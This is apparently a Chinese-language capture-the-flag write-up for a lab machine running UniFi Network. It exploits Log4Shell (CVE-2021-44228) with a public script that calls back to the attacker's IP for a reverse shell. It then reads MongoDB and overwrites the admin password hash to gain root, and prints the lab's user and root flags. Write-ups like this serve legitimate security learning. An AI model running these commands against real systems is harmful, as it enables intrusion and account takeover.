* Nmap掃描 *  * 22/SSH、6789、8080、8443 *  * 察看到8443port為`UniFi Network`及網址 * 貼上網址為一`UniFi Network`登入頁面 *  * 版本為6.4.54 * google後發現有CVE-2021-44228 *  ## [Log4j漏洞](https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/) ### [Log4jUnifi](https://github.com/puzzlepeaches/Log4jUnifi) * 安裝 *  * Usage ```bash= usage: exploit.py [-h] -u URL -i CALLBACK -p PORT optional arguments: -h, --help show this help message and exit -u URL, --url URL Unifi Network Manager base URL -i CALLBACK, --ip CALLBACK Callback IP for payload delivery and reverse shell. -p PORT, --port PORT Callback port for reverse shell. ``` * 啟動Log4jUnifi *  ```bash= python3 exploit.py -u https://10.129.212.112:8443 -i 10.10.14.18 -p 7787 ``` * `nc`反連 *  * user.txt * 建立交互式shell ```bash= script /dev/null -c bash ``` *  * user_flag: ||`6ced1a6a89e666c0620cdb10262ba127`|| ## Privilege Escalation * 查看`/usr/lib/unifi/data`底下的`system.properties`以及`/usr/lib/unifi/logs`都有發現一`mongodb`且運行在`27117`port *  *  * 登入mongodb列出資料表 ```bash= mongo --port 27117 show dbs ``` *  * `ace`表使用了0.002GB,來列出裡面的欄位 *  ```bash= use ace show collections ``` * 再去列出`admin`中的資料發現第一欄為admin的name及加密過的密碼 ```bash= db.admin.find() ``` *  * 或者利用`--eval`查找admin帳號密碼等資訊,輸出格式為json ```bash= mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);" ``` :::info --eval:在terminal中執行JavaScript,不用透過mongoshell搜尋 ::: *  * 現在知道admin的密碼位置以及是使用sha-512加密還有加鹽,我們利用`mkpasswd`製作一組自己的密碼等等用來複寫 *  ```bash= mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$xCWMO7iAEjAOyJb1$UZYfp4eooHvXNFDXVQtiWRu1mKU6zgFEnDY/7Ww8AWJ5cFEzwoHk10diiKG4dn29USgsgoJ.ry0RMkEOq/eac."}})' ``` *  * 複寫成功 * 接著就可以登入最一開始找到的登入頁面 *  * 啟用ssh並且可以更改密碼 * ssh後得到`root.txt` *  * root_flag: ||`e50bc93c75b634e4b272d2f771c33681`|| ## 補充 * [Log4j漏洞成因](https://blog.csdn.net/Koikoi12/article/details/121906895) * https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/ Log4j漏洞是基於Java的JNDI與LDAP形成的 * JNDI injection *  ### What is the Log4j? * 為基於Java開發出來的Log套件,又隸屬於Apache底下,也稱為`Apache Log4j` ### 防範方式 * 由瑞士 CERT 發表的這篇文章:Zero-Day Exploit Targeting Popular Java Library Log4j 中,有給了一張從各個環節去防禦的圖: * 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up